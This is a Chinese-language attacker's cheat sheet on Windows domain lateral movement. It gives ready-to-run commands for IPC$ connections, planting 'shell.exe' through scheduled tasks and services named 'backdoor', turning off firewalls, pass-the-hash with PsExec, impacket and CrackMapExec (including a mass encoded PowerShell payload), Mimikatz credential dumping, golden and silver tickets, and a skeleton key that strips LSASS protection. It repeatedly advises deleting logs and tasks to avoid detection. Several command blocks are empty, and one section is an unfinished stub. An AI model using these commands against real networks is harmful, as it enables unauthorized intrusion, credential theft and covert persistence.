IPC连接
条件:
1、目标机开启了139和445端口;
2、目标主机管理员开启了ipc$默认共享;
3、知道目标机的(权限足够的)账户密码。
4、NT或以上操作系统
IPC$(Internet Process Connection)
是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$
,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。
命令:
net use \\192.168.10.2\ipc$ /user:"username" "password"
//建立ipc连接
net use \\192.168.10.2 /u:domainname\username "password"
// 域中建立ipc连接
net use \\192.168.10.2 /de /y
// 删除ipc连接(使用完之后记得删除)
用IPC进行文件目录操作
net view \\192.168.10.2
//查看共享目录
net view \\192.168.10.2\c$\users
//列出指定目录文件
copy shell.exe \\192.168.10.2\C$\windows\temp\
//复制文件到目标目录
copy \\192.168.10.2\C$\windows\temp\hash.txt
//下载文件到当前目录
net use z: \\192.168.10.2\c$ "密码" /user:"用户名"
//将对方的c盘映射为自己的z盘
IPC常见错误号
1.错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
2.错误号51,Windows 无法找到网络路径:网络有问题;
3.错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
4.错误号67,找不到网络名:你的lanmanworkstation服务未启动;目标删除了ipc$;
5.错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连。
6.错误号1326,未知的用户名或错误密码:原因很明显了;
7.错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动。(连接域控会出现此情况)
8.错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
Windows计划任务
1.先建立IPC连接
2.确定目标主机DC的当前时间
net time \\192.168.10.2
3.拷贝木马到目标机器
copy shell.exe \\192.168.10.2\C$\windows\temp\
4 .创建计划任务
Vista 和 Server 2008 之后:
在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt(记得删)
schtasks /create /s 192.168.10.2 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
// 创建一个名称为"backdoor"的计划任务。该计划任务每分钟启动一次,启动程序为c:\shell.exe,启动权限为system
schtasks /run /s 192.168.10.2 /i /tn backdoor
// i:忽略任何限制立即运行任务
schtasks /delete /s 192.168.10.2 /tn "backdoor" /f
// 强制删除名称为"backdoor"计划任务(记得删)
在没有建立ipc连接时,要加上/u和/p参数分别设置用户名(域中为域\域用户
)和密码。
如果因为权限或组策略设置等原因报错拒绝访问,要加上/u和/p参数分别设置高权限用户名和密码。
Vista 和 Server 2008 之前:
at \\192.168.10.2 15:47:00 c:\beacon.exe //创建计划任务
at \\192.168.10.2 1 /delete //删除ID为1的计划任务
Windows服务
条件:
1、当前跳板机用户具有管理员权限(因为要创建服务)。
2、与目标机器已经建立ipc连接
1.建立IPC连接
2.拷贝木马到目标机器
copy shell.exe \\192.168.10.2\C$\windows\temp\
3.在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
sc \\[主机名 or IP] create [servicename] binpath= "[path]"
//创建计划任务启动程序
注意这里的格式,“=” 后面是必须空一格的,否则会出现错误。
4.立即启动该服务:
sc \\192.168.10.2 start bindshell
5.删除刚才创建的服务
sc \\192.168.10.2 delete bindshell
我们还可以通过设置服务来关闭防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
通过smb服务横向移动
利用条件
1、445端口开放
2、知道账号密码明文或hash
利用 SMB 服务可以通过明文或 hash 传递(PTH)来远程执行。
明文传递
PsExec.exe(微软官方工具)
使用条件
1.对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
2.对方未开启防火墙
3.如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
4.如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
执行原理(会留下大量日志):
- 通过ipc$连接,释放psexecsvc.exe到目标
- 通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
- 客户端连接执行命令,服务端启动相应的程序并执行回显数据。
- 运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般不推荐使用psexec,推荐wmiexec
可先建立ipc连接再使用psexec无需输入密码
net use \\IP /u:domainname\username password
//建立IPC通道
psexec.exe \\192.168.10.2 -s cmd.exe -acceptcula
//反弹cmd
或者直接使用:
.\PsExec.exe \\192.168.10.201 -u domainname\username -p password -s cmd.exe -acceptcula
-accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框 -u:用户名 -p:密码 -s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell
PTH-哈希传递
利用条件
1、在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
2、在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1
psexec.py-PTH
与官方psexec.exe相比会自动删除服务,增加隐蔽性
https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py
这里推荐使用impacket套装,有exe和py版本
psexec.exe domain/username@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
之后会弹回一个system权限的交互shell。
python psexec.py administrator@10.73.147.29 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
这种方式方便我们直接通过代理在自己本机执行(py测试2003,但exe可以成功)
smbexec.py
https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py
python smbexec.py ./:@192.168.52.136
wmiexec.py-PTH
https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de administrator@10.73.147.29
MiMiKatz-PTH
这个需要本地管理员权限(由Mimikatz的实现机制决定的)
privilege::debug
sekurlsa::logonpasswords
//抓取本机hash
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:852a844adfce18f66009b4f14e0a98de
//将获取的Hash添加进lsass中
会弹出一个交互式的终端,这个终端以及伪造为我们指定的hash和用户,访问远程主机或服务,就不用提供明文密码了。 我们可以通过copy文件,然后执行计划任务去拿到shell(这个思路有自动化实现的工具)。
pth批量横向移动
CrackMapExec:https://github.com/byt3bl33d3r/CrackMapExec/
CME集成了wmiexec、atexe、smbexec的方式,集成了smb扫描,口令爆破等功能,非常适合拿来快速移动。
用cme来进行网段的smb扫描确定目标系统和smb服务
cme smb 192.168.0.0/24 -t 255
批量传递hash:
cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de
批量执行命令:
cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de -x "whoami"
或者执行powershell,我们可以通过CS的powershell command然后粘贴生成的payload.txt中的内容直接-x执行即可批量上马。
cme smb 10.211.55.51 10.211.55.52 -u administrator -H 852a844adfce18f66009b4f14e0a98de -x "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0..."
WMI 横向
WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
“自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。因为在这个过程中不会产生日志,所以,对网络管理员来说增加了攻击溯源的成本。而对攻击者来说,其恶意行为被发现的可能性有所降低、隐蔽性有所提高。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。”
使用条件
1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码。
执行命令:
wmic /node:191.168.52.136 /user:xxxx /password:xxxxx process call create "cmd.exe /c ipconfig>d:\result.txt"
//无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显
WMI常用命令
https://www.freebuf.com/articles/246440.html
文件管理
wmic fsdir where "drive='c:' and filename='whoami'" list
wmic fsdir "c:\\test" call delete
//删除C盘下的test目录,注意“\”要进行一下转义
wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath
//枚举出整个系统中的所有可执行文件
for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)
//wmic 全盘搜索某文件并获取该文件所在目录
环境变量
wmic environment get Description, VariableValue
wmic environment where "name='temp'" get UserName,VariableValue
//环境变量,获取temp环境变量
wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami"
//更改PATH环境变量值,新增c:\whoami
进程管理
wmic process list brief
//列出所有进程信息
wmic process get processid,name,executablepath
//Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态
wmic process where name="vmtoolsd.exe" get executablepath
//获取指定进程可执行文件的路径
wmic process call create "C:\windows\system32\notepad.exe"
//创建进程
wmic process call create "cmd.exe /c 'ipconfig'"
wmic process call create "shutdown.exe -r -f -t 60"
//根据系统命令创建进程
wmic process where name="notepad.exe" delete
wmic process where pid="244" delete
//删除进程
用户账户管理
wmic useraccount
wmic useraccount list brief
wmic useraccount where "name='%UserName%'" call rename newUserName
// 更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin
// 更改指定用户名
获取补丁信息
wmic qfe list brief
wmic qfe get Caption,Description,HotFixID,IntsalledOn
查看域控制器
wmic ntdomain list brief
查看安装的软件信息
wmic product get name,version
远程桌面连接 使用WMIC命令开启远程计算机的远程桌面连接:
|
|
共享管理
|
|
wmiexec
要执行命令并回显请使用wmiexec.py,⽤445端口传回显:
|
|
指定-hashes选项的话,则可进行哈希传递。
exe版本命令与wmiexec.py一模一样。在跳板机上上传wmiexec.exe并运行如下命令获取目标系统192.168.52.138的shell:
|
|
wmiexec.vbs
https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs
wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。
wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。
PTK-密钥传递
即 Pass The Key ,当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候,那我们抓取到的 ntlm hash. 也就失去了作用,但是可以通过 pass the key 的攻击方式获得权限。
利用条件
1、目标主机打过KB2871997
2、所以必须使用SID值为500的用户
|
|
PTT-票据传递
MS14-068
利用条件
1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机,并且能dump出某一域成员的用户名,密码,SID等值
域用户hack在域成员主机A上登录过,域成员主机A的管理员通过mimikatz
得到了域用户hack的用户名,密码,SID等值,而且域控存在MS14-068
漏洞,现在域成员主机A想通过MS14-068
漏洞访问域控。
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://www.cnblogs.com/-mo-/p/11890539.html
https://www.cnblogs.com/yuzly/p/10859520.html
黄金票据
利用条件
1.域名称
2.域的SID值
3.域的KRBTGT账户密码HASH(通常需要SYSTEM权限才能dump)
4.伪造用户名,可以是任意的
kerberos协议原理参考
域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用 Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。
首先获取krbtgt的用户hash:
|
|
利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:
|
|
白银票据
利用条件
1.域名称
2.域的SID值
3.域中的Server服务器账户的NTLM-Hash
4.伪造的用户名,可以是任意用户名.
5.目标服务器上面需要访问的kerberos服务
可以伪造的服务
服务名称 | 同时需要的服务 |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP |
WinRM | HOST HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations includingMimikatz DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS LDAP CIFS |
服务说明:
-
Silver Ticket连接到具有管理员权限Windows计算机上的WMI 为“ HOST ”服务和“ rpcss ”服务创建白银票据以使用WMI在目标系统上远程执行命令。
-
Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行
为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。
-
具有管理员权限的Windows计算机(HOST)的Silver Ticket
创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。
注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。
-
Windows共享(CIFS)管理访问的Silver Ticket
为 “cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括
c$
共享,我们能够将文件拷贝到共享文件中。 -
Silver Ticket连接到具有管理员权限Windows计算机上的LDAP 为"ldap"服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。
利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息
步骤(伪造CIFS的白银票据):
1.获取hash sid等信息
|
|
2.伪造白银票据
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt
参数说明:
/domain:当前域名称
/sid:SID值,和金票一样取前面一部分
/target:目标主机,这里是OWA2010SP3.0day.org
/service:服务名称,这里需要访问共享文件,所以是cifs
/rc4:目标主机的HASH值
/user:伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入
这时通过klist查看当前会话的kerberos票据可以看到生成的票据。
使用dir \\OWA2010SP3.0day.org\c$
访问DC的共享文件夹。
skeleton key
skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。
#在域控上安装 skeleton key
mimikatz.exe privilege::debug "misc::skeleton"
#在域内其他机器尝试使用 skeleton key 去访问域控,添加的密码是 mimikatz
net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\administrator`
微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程 lsass.exe 的代码注入。如果直接尝试添加 skelenton key 会失败。
#适用系统
windows 8.1
windows server 2012 及以上`
当然 mimikatz 依旧可以绕过,该功能需要导入mimidrv.sys文件,导入命令如下:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton`
NTLM中继
挖坑,待补